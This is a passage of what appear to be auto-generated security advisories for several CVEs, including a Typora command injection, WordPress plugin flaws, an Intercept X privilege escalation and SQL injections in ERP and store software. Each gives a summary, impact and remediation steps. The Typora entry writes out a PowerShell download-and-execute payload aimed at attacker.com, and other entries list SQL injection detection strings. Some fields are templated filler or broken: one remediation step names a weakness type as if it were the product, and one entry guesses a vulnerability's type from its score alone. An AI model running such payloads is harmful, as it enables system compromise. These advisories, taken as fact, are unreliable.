Analyst Notes: As of November 23, 2025, there is no known public proof-of-concept exploit or evidence of this vulnerability being actively exploited in the wild. However, DLL hijacking is a well-documented and widely understood attack technique. The barrier to developing a functional exploit is low for a determined attacker who has already established a foothold on a target system.

Analyst Recommendation

Given the high severity rating and the potential for complete system compromise, this vulnerability poses a significant risk. Although CVE-2024-21922 is not currently in the CISA KEV catalog, its nature as a privilege escalation flaw makes it an attractive target for post-exploitation activities. We strongly recommend that all affected systems are patched on a priority basis. Organizations should treat this vulnerability with urgency and adhere to their patching policies for high-risk flaws to mitigate the threat of a local attacker gaining full control of enterprise assets.

Executive Summary:
A high-severity vulnerability has been identified in the WordPress eCommerce Plugin, affecting multiple versions. This flaw could allow an attacker to compromise the website, potentially leading to unauthorized access to sensitive customer data, financial information, or full site control. Immediate patching is required to mitigate the risk of data breaches and service disruption.

Vulnerability Details

CVE-ID: CVE-2024-14015

Affected Software: WordPress eCommerce Plugin

Affected Versions: All versions up to and including 2.x. See vendor advisory for specific affected versions.

Vulnerability: The provided description is incomplete; however, a CVSS score of 7.1 indicates a significant security flaw. Such vulnerabilities in eCommerce plugins typically involve improper access control, Cross-Site Scripting (XSS), or SQL injection. An attacker could potentially exploit this flaw by sending a specially crafted request to the website, allowing them to bypass security measures to access or modify sensitive database information, execute malicious scripts in a victim's browser, or perform administrative actions without proper authorization.

Business Impact

This vulnerability is rated as High severity with a CVSS score of 7.1. Successful exploitation could have a severe business impact, particularly for an eCommerce platform. Potential consequences include the theft of customer Personally Identifiable Information (PII) and payment card data, leading to regulatory fines (e.g., GDPR, CCPA) and legal action. Furthermore, a breach could result in significant financial loss, damage to the company's reputation, and a loss of customer trust that could take years to rebuild.

Remediation Plan

Immediate Action:

• Immediately update the affected WordPress eCommerce plugin to the latest patched version provided by the vendor.
• After updating, thoroughly review all WordPress security settings and the specific configurations for the eCommerce plugin to ensure they align with security best practices.
• If the plugin is no longer essential for business operations, it should be deactivated and completely removed to eliminate this attack vector.

Proactive Monitoring:

• Monitor web server access logs for unusual or malicious-looking requests targeting the plugin's files or API endpoints.
• Implement file integrity monitoring to detect unauthorized changes to plugin files.
• Review audit logs for unexpected administrative activities, such as the creation of new user accounts or unauthorized changes to product or payment settings.

Compensating Controls:

• Utilize a Web Application Firewall (WAF) with rules designed to block common web attack patterns like SQL injection and XSS.
• Enforce the principle of least privilege for all user accounts, especially those with access to the WordPress administrative dashboard.
• Ensure that automated, regular backups of the website and database are being performed and stored securely in an off-site location to facilitate recovery in case of a compromise.

Exploitation Status

Public Exploit Available: Not known at this time.

Analyst Notes: As of November 24, 2025, there is no public proof-of-concept exploit code available for this vulnerability, and it is not known to be actively exploited in the wild. However, vulnerabilities in widely-used eCommerce platforms are attractive targets for threat actors, and exploit development can occur rapidly after a vulnerability is disclosed.

Analyst Recommendation

Given the High severity rating (CVSS 7.1) and the critical function of an eCommerce plugin, we strongly recommend that organizations prioritize applying the vendor-supplied update immediately. Although this vulnerability is not currently listed on the CISA KEV list and lacks a public exploit, its potential impact on business operations, data security, and customer trust is significant. Proactive patching is the most effective defense against potential future exploitation.

Executive Summary:
A critical command injection vulnerability, identified as CVE-2024-14010, exists in Typora version 1.7.4. This flaw allows an attacker to execute arbitrary commands on a user's system by manipulating the PDF export preferences, potentially leading to a full system compromise, data theft, or malware installation. Due to its critical severity (CVSS 9.8), immediate remediation is required to prevent exploitation.

Vulnerability Details

CVE-ID: CVE-2024-14010

Affected Software: Typora Multiple Products

Affected Versions: Version 1.7.4 is confirmed to be vulnerable. See vendor advisory for a complete list of specific affected versions.

Vulnerability: This is a command injection vulnerability located in the PDF export feature of Typora. The application fails to properly sanitize user-supplied input in the 'run command' field within the PDF export preferences. An attacker can exploit this by injecting malicious system commands (e.g., & powershell -c "iex(new-object net.webclient).downloadstring('http://attacker.com/payload.ps1')") into this field. When a user exports a document to PDF with these modified preferences, the application executes the injected command with the same privileges as the user running Typora, leading to arbitrary code execution.

Business Impact

This vulnerability is rated as critical severity with a CVSS score of 9.8. Successful exploitation could lead to a complete compromise of the affected user's workstation. Potential consequences include the theft of sensitive corporate or personal data, installation of persistent malware such as ransomware or spyware, and the use of the compromised system as a launchpad for further attacks within the organization's network. The direct business risks include data breaches, financial loss, reputational damage, and operational disruption.

Remediation Plan

Immediate Action:

• Immediately update all installations of Typora to the latest patched version as recommended by the vendor.
• Consult the official Typora security advisory for specific patch information and further details on the vulnerability.
• Review system and application logs for any signs of past exploitation attempts, focusing on commands executed during PDF exports.

Proactive Monitoring:

• Monitor for suspicious child processes being spawned by the Typora process (e.g., cmd.exe, powershell.exe, bash, curl, wget).
• Implement endpoint detection and response (EDR) rules to alert on unusual command-line arguments associated with the Typora application process.
• Monitor network traffic for unexpected outbound connections from workstations running Typora, which could indicate communication with a command-and-control server.

Compensating Controls:

• If immediate patching is not feasible, use application control software (e.g., AppLocker) to prevent Typora from launching command-line interpreters or other potentially malicious executables.
• If possible, use a configuration management tool to disable the "run command" after PDF export feature for all users.
• Educate users about the risk and instruct them not to modify PDF export settings or open untrusted documents that may alter these settings.

Exploitation Status

Public Exploit Available: false

Analyst Notes:
As of December 12, 2025, there are no known public exploits or active exploitation campaigns targeting this vulnerability. However, command injection vulnerabilities are typically straightforward to exploit. It is highly probable that proof-of-concept (PoC) exploits will be developed and released publicly, increasing the risk of attack.

Analyst Recommendation

Given the critical CVSS score of 9.8 and the potential for complete system compromise, this vulnerability poses a severe risk to the organization. We strongly recommend that all vulnerable instances of Typora are identified and patched immediately. This vulnerability should be treated as a top priority for remediation. Although it is not currently listed on the CISA KEV list, its high impact and ease of exploitation make it an attractive target for threat actors.

Executive Summary:
A high-severity vulnerability has been identified in the updater component for multiple "related" products, including Intercept X for Windows. The flaw is due to improper registry permissions, which could allow a local attacker who already has low-level access to a workstation to elevate their privileges and gain full control of the system. This effectively bypasses the endpoint's security controls and could lead to a complete system compromise.

Vulnerability Details

CVE-ID: CVE-2024-13972

Affected Software: related Intercept X for Windows

Affected Versions: All versions of the Intercept X for Windows updater prior to version 2024

Vulnerability: The vulnerability exists due to insecurely configured permissions on Windows registry keys utilized by the Intercept X updater service. A low-privileged local user can modify these specific registry keys to point to a malicious executable. When the updater service, which runs with high-level (SYSTEM) privileges, executes its update cycle, it will read the compromised registry path and launch the attacker's malicious payload with those same elevated permissions, resulting in a Local Privilege Escalation (LPE).

Business Impact

This vulnerability presents a significant risk to the organization, reflected by its High severity rating and CVSS score of 8.8. Successful exploitation would grant an attacker complete administrative control over any affected endpoint. This could lead to the theft or destruction of sensitive data, deployment of ransomware, disabling of all security controls, and using the compromised machine as a pivot point to move laterally across the network. Because the vulnerability exists within a core security product, its exploitation fundamentally undermines the organization's endpoint defense strategy.

Remediation Plan

Immediate Action: All system administrators should immediately deploy the security updates provided by the vendor to patch the updater to version 2024 or later. After patching, verify that the update was successfully applied across all Windows endpoints.

Proactive Monitoring: Security teams should actively monitor for signs of attempted exploitation. This includes monitoring for unauthorized or anomalous modifications to registry keys associated with the Intercept X updater service. Utilize EDR or Sysmon (Event ID 12, 13) to audit for these changes. Furthermore, monitor for suspicious child processes being spawned by the updater process (e.g., cmd.exe, powershell.exe, or unsigned executables running from temporary directories).

Compensating Controls: If immediate patching is not feasible, organizations should implement compensating controls as a temporary measure. This includes using an EDR or similar tool to create detection and blocking rules for suspicious modifications to the affected registry keys. Enforcing the principle of least privilege for all user accounts can also help limit the initial access required to attempt exploitation of this vulnerability.

Exploitation Status

Public Exploit Available: false

Analyst Notes: As of July 17, 2025, there is no known public proof-of-concept exploit code, and no active exploitation has been observed in the wild. The vulnerability is not listed on CISA's Known Exploited Vulnerabilities (KEV) catalog. However, vulnerabilities of this type (Local Privilege Escalation in security products) are attractive targets for threat actors to incorporate into their post-exploitation toolkits.

Analyst Recommendation

Given the high-severity CVSS score and the critical nature of the affected software (an endpoint security agent), this vulnerability must be addressed with high priority. A flaw in a security product represents a fundamental failure in a layer of defense and can be leveraged by attackers to achieve full persistence and control. We strongly recommend that organizations prioritize the immediate testing and deployment of the vendor-supplied patch across all managed Windows endpoints to mitigate the risk of a full system compromise.

Executive Summary:
A critical PHP Object Injection vulnerability exists in The Education Theme for WordPress, allowing an unauthenticated attacker to potentially execute arbitrary code and achieve full system compromise.

Vulnerability Details

CVE-ID: CVE-2024-13786

Affected Software: The Education Theme for WordPress

Affected Versions: All versions up to and including 3.6.10

Vulnerability: The theme is vulnerable to PHP Object Injection due to the insecure deserialization of untrusted input within the themerex_callback_view_more_posts function. This flaw can be exploited by an unauthenticated attacker to inject a malicious PHP object, leading to arbitrary code execution on the server.

Business Impact

Successful exploitation of this vulnerability could allow an attacker to take complete control of the affected website, leading to data theft, website defacement, or the installation of malware. The assigned CVSS score of 9.8 (Critical) reflects the ease of exploitation by an unauthenticated attacker and the severe impact on confidentiality, integrity, and availability. This represents a direct and immediate threat to business operations and data security.

Remediation Plan

Immediate Action: Administrators must immediately update The Education Theme for WordPress to a version newer than 3.6.10. Applying the latest available patch from the vendor is the only way to fully resolve this vulnerability.

Proactive Monitoring: Review web server access logs for suspicious POST requests targeting the application, specifically looking for patterns indicative of object injection attempts against the vulnerable function.

Compensating Controls: If immediate patching is not feasible, implement a Web Application Firewall (WAF) with rules specifically designed to detect and block PHP object injection and deserialization attacks.

Exploitation Status

Public Exploit Available: No

Analyst Notes: As of Jul 2, 2025, there is no public information indicating active exploitation of this vulnerability. However, due to the critical nature of the flaw and its unauthenticated attack vector, the potential for exploit development is extremely high.

Analyst Recommendation

Given the critical severity (CVSS 9.8) of this vulnerability, we strongly recommend immediate and prioritized action. The ability for an unauthenticated attacker to achieve remote code execution presents a significant risk of system compromise. Administrators must apply the vendor-supplied update without delay to mitigate this threat.

Executive Summary:
A high-severity vulnerability has been identified in the Booster for WooCommerce WordPress plugin, which could allow an unauthenticated attacker to upload arbitrary files to the server. Successful exploitation could lead to complete system compromise, allowing an attacker to execute malicious code, steal sensitive data, or deface the website. Organizations using the affected plugin are at significant risk and should take immediate action to mitigate this threat.

Vulnerability Details

CVE-ID: CVE-2024-13342

Affected Software: WordPress Booster for WooCommerce Plugin

Affected Versions: All versions up to, and including, 7.0

Vulnerability: The vulnerability exists within the add_files_to_order function of the Booster for WooCommerce plugin. The function fails to properly validate the types of files being uploaded, creating an arbitrary file upload vulnerability. An attacker can exploit this by crafting a request to upload a malicious file with a dangerous extension (e.g., .php) disguised as a legitimate file, which is then saved to the web server. This allows the attacker to achieve remote code execution by subsequently accessing the uploaded file via a web browser.

Business Impact

This vulnerability is rated as High severity with a CVSS score of 8.1. A successful exploit could have a severe impact on the business, leading to a full compromise of the web server. Potential consequences include theft of sensitive customer data (including personal information and payment details), website defacement, reputational damage, and loss of customer trust. The compromised server could also be used to host malware or launch further attacks against other systems within the organization's network.

Remediation Plan

Immediate Action: The primary remediation is to update the Booster for WooCommerce plugin to the latest available version, which contains a patch for this vulnerability. If the plugin is no longer required for business operations, it should be deactivated and completely removed from the WordPress installation to eliminate the attack surface.

Proactive Monitoring: Monitor web server logs for suspicious POST requests to endpoints associated with the plugin's file upload functionality. Check file system upload directories for any unexpected or non-image files, particularly those with executable extensions like .php, .phtml, or .sh. Monitor for unusual outbound network traffic from the web server, which could indicate a successful compromise.

Compensating Controls: If immediate patching is not feasible, implement a Web Application Firewall (WAF) with rules designed to block the upload of executable file types. Additionally, configure the web server to disallow script execution in directories where files are uploaded. File integrity monitoring (FIM) can also be used to detect the creation of unauthorized files on the server.

Exploitation Status

Public Exploit Available: false

Analyst Notes: As of August 29, 2025, there are no known public proof-of-concept exploits or active exploitation campaigns targeting this vulnerability. However, vulnerabilities of this nature in popular WordPress plugins are frequently targeted by threat actors shortly after disclosure.

Analyst Recommendation

Given the high CVSS score of 8.1 and the potential for complete server compromise, it is strongly recommended that organizations identify all instances of the vulnerable "Booster for WooCommerce" plugin and apply the necessary updates immediately. Although this CVE is not currently listed on the CISA KEV list, its severity warrants urgent attention. Prioritize patching on all internet-facing production systems to prevent potential exploitation.

Executive Summary:
A critical vulnerability has been identified in Logo Software Diva, assigned CVE-2024-13151. This flaw, a severe SQL injection, allows an unauthenticated attacker to bypass all authorization controls and gain complete control over the application's database. Successful exploitation could lead to total data loss, theft of sensitive information, and full system compromise.

Vulnerability Details

CVE-ID: CVE-2024-13151

Affected Software: Logo Software Diva

Affected Versions: See vendor advisory for specific affected versions

Vulnerability: The vulnerability is a CWE-89 SQL Injection flaw that allows for a complete authorization bypass. An attacker can manipulate a user-controlled primary key value, likely an ID parameter in a URL or API request, to inject malicious SQL commands directly into the backend database query. Because the application fails to properly sanitize this input, the attacker's code is executed by the database, allowing them to circumvent security checks and perform actions as a privileged user, including reading, modifying, or deleting any data in the database.

Business Impact

This vulnerability is rated as critical severity with a CVSS score of 10.0, indicating the highest possible risk. A successful exploit would grant an attacker complete control over the application's database, leading to a total loss of confidentiality, integrity, and availability. Potential consequences include the exfiltration of sensitive corporate or customer data, fraudulent data manipulation, and service-wide disruption or destruction. This could result in severe reputational damage, significant financial losses, and potential regulatory fines for data breaches.

Remediation Plan

Immediate Action: Immediately apply the latest security updates provided by Logo Software to all instances of the affected products. Prioritize patching for systems that are exposed to the internet. After patching, monitor for any signs of exploitation attempts and review historical access logs for indicators of compromise.

Proactive Monitoring: Implement enhanced monitoring of web server and database logs. Specifically, search for suspicious SQL syntax within HTTP requests, such as UNION SELECT, ' OR '1'='1, --, SLEEP(), or other database-specific commands. Monitor for an unusual volume of database errors or unexpected application behavior, which could indicate scanning or exploitation attempts.

Compensating Controls: If immediate patching is not feasible, implement a Web Application Firewall (WAF) with strict rules designed to detect and block SQL injection attacks. Restrict access to the application at the network level to only trusted IP addresses. Ensure the application's database service account is configured with the principle of least privilege to limit the potential impact of a successful breach.

Exploitation Status

Public Exploit Available: false

Analyst Notes: As of September 18, 2025, there are no known public exploits or active exploitation campaigns targeting this vulnerability. However, given the critical severity (CVSS 10.0) and the relative simplicity of exploiting SQL injection flaws, it is highly probable that threat actors will develop and deploy a functional exploit very quickly.

Analyst Recommendation

This vulnerability poses a critical and immediate threat to the organization. Due to the perfect CVSS score of 10.0, remediation must be treated as the highest priority. All system owners must apply the vendor-supplied patches without delay to prevent a full system compromise. Although this CVE is not currently on the CISA KEV list, its severity makes it a likely candidate for future inclusion, and organizations should act as if exploitation is imminent.

Executive Summary:
A critical vulnerability, identified as CVE-2024-13150, has been discovered in the Fayton Software and Consulting Services fayton.Pro ERP application. This flaw, a type of SQL Injection, could allow a remote, unauthenticated attacker to take complete control of the application's database. Successful exploitation could lead to a severe data breach, data manipulation, or complete loss of business-critical information stored within the ERP system.

Vulnerability Details

CVE-ID: CVE-2024-13150

Affected Software: Fayton Software and Consulting Services fayton.Pro ERP

Affected Versions: See vendor advisory for specific affected versions

Vulnerability: This vulnerability is an Improper Neutralization of Special Elements used in an SQL Command, commonly known as SQL Injection. The fayton.Pro ERP application fails to properly sanitize user-supplied input before using it in database queries. An attacker can exploit this by crafting special input that includes malicious SQL commands, which are then executed by the back-end database with the same privileges as the application. This could allow an attacker to bypass authentication controls, read, modify, or delete any data in the database, and potentially execute commands on the underlying database server.

Business Impact

Business Impact
This vulnerability is rated as critical severity with a CVSS score of 9.8. Exploitation could have a devastating impact on the business. An attacker could exfiltrate sensitive corporate data, including financial records, employee information, customer lists, and proprietary trade secrets, leading to significant regulatory fines and reputational damage. The ability to modify or delete data could compromise business operations, disrupt supply chains, and corrupt financial reporting. A full compromise of the database server could also serve as a pivot point for further attacks into the corporate network.

Remediation Plan

Immediate Action: Update Improper Neutralization of Special Elements used in an SQL Command Multiple Products to the latest version. Monitor for exploitation attempts and review access logs.

Proactive Monitoring: Implement enhanced monitoring of application and database server logs. Specifically, look for unusual or malformed SQL queries, a sudden increase in database error messages, or queries containing keywords like UNION, SELECT, --, ' or ; in unexpected input fields. Monitor network traffic for anomalous data flows from the database server.

Compensating Controls: If immediate patching is not feasible, deploy a Web Application Firewall (WAF) with a strict ruleset designed to detect and block SQL injection attack patterns. Restrict network access to the application and database servers to only known, trusted IP addresses. Ensure the application's database service account is configured with the principle of least privilege, limiting its ability to alter database structure or access the underlying operating system.

Exploitation Status

Public Exploit Available: false

Analyst Notes: As of Sep 29, 2025, there are no known public exploits or active exploitation campaigns targeting this vulnerability. However, given the critical CVSS score and the straightforward nature of SQL injection attacks, it is highly likely that threat actors will develop and deploy exploits. This vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

Analyst Recommendation

Due to the critical severity (CVSS 9.8) of this vulnerability, we strongly recommend that organizations using the affected Fayton Software and Consulting Services fayton.Pro ERP product prioritize the immediate application of the vendor-supplied security patch. The potential for a complete compromise of sensitive business data is extremely high. While it is not yet listed on the CISA KEV, its severity makes it a prime target for future exploitation, and it should be treated with the highest urgency.

Executive Summary:
A critical SQL Injection vulnerability, identified as CVE-2024-13149, has been discovered in Arma Store Armalife products. This flaw allows a remote, unauthenticated attacker to execute arbitrary commands on the application's database, potentially leading to a complete compromise of sensitive data, system disruption, and unauthorized access. Due to its critical severity and ease of exploitation, immediate remediation is required to prevent a significant security breach.

Vulnerability Details

CVE-ID: CVE-2024-13149

Affected Software: Arma Store Armalife

Affected Versions: See vendor advisory for specific affected versions

Vulnerability: The vulnerability is an Improper Neutralization of Special Elements used in an SQL Command, commonly known as SQL Injection (CWE-89). The application fails to properly sanitize or validate user-supplied input before incorporating it into an SQL query. A remote, unauthenticated attacker can craft a malicious input string that manipulates the query's logic, allowing them to execute arbitrary SQL commands on the back-end database. This can result in the exposure of sensitive information (CWE-200), data modification, data deletion, or a full system takeover, depending on the database user's privileges.

Business Impact

This vulnerability carries a critical severity rating with a CVSS score of 9.8, indicating a high risk to the organization. Successful exploitation could lead to a catastrophic data breach, exposing sensitive customer, financial, or proprietary information. The potential consequences include severe reputational damage, loss of customer trust, significant financial costs for incident response and recovery, and potential regulatory fines for non-compliance with data protection standards. Furthermore, an attacker could alter or delete critical business data, causing major operational disruptions.

Remediation Plan

Immediate Action: Immediately update all instances of Arma Store Armalife to the latest version released by the vendor. After applying the patch, review application and database access logs for any signs of past or present exploitation attempts, such as unusual or malformed SQL queries.

Proactive Monitoring: Implement continuous monitoring of web application and database logs for suspicious activity. Specifically, look for queries containing SQL keywords like UNION, SELECT, INSERT, DROP, or comment characters (--, /*). Utilize a Web Application Firewall (WAF) with rulesets designed to detect and block common SQL injection patterns.

Compensating Controls: If immediate patching is not feasible, implement a WAF in blocking mode as a temporary measure to filter malicious requests targeting this vulnerability. Ensure the application's database user account operates with the principle of least privilege, restricting its permissions to only what is absolutely necessary for application functionality. Restrict direct access to the database server from untrusted networks.

Exploitation Status

Public Exploit Available: False

Analyst Notes: As of September 16, 2025, there are no known public exploits or active exploitation campaigns targeting this vulnerability. However, due to the critical nature and commonality of SQL injection flaws, it is highly probable that proof-of-concept code will be developed and released by threat actors in the near future.

Analyst Recommendation

Given the critical severity (CVSS 9.8) of this vulnerability, we strongly recommend that all affected instances of Arma Store Armalife be patched on an emergency basis. Although this vulnerability is not currently listed on the CISA KEV catalog, its high impact and potential for remote, unauthenticated exploitation make it an attractive target for attackers. Organizations must prioritize the immediate application of vendor-supplied updates to prevent a potential data breach and system compromise.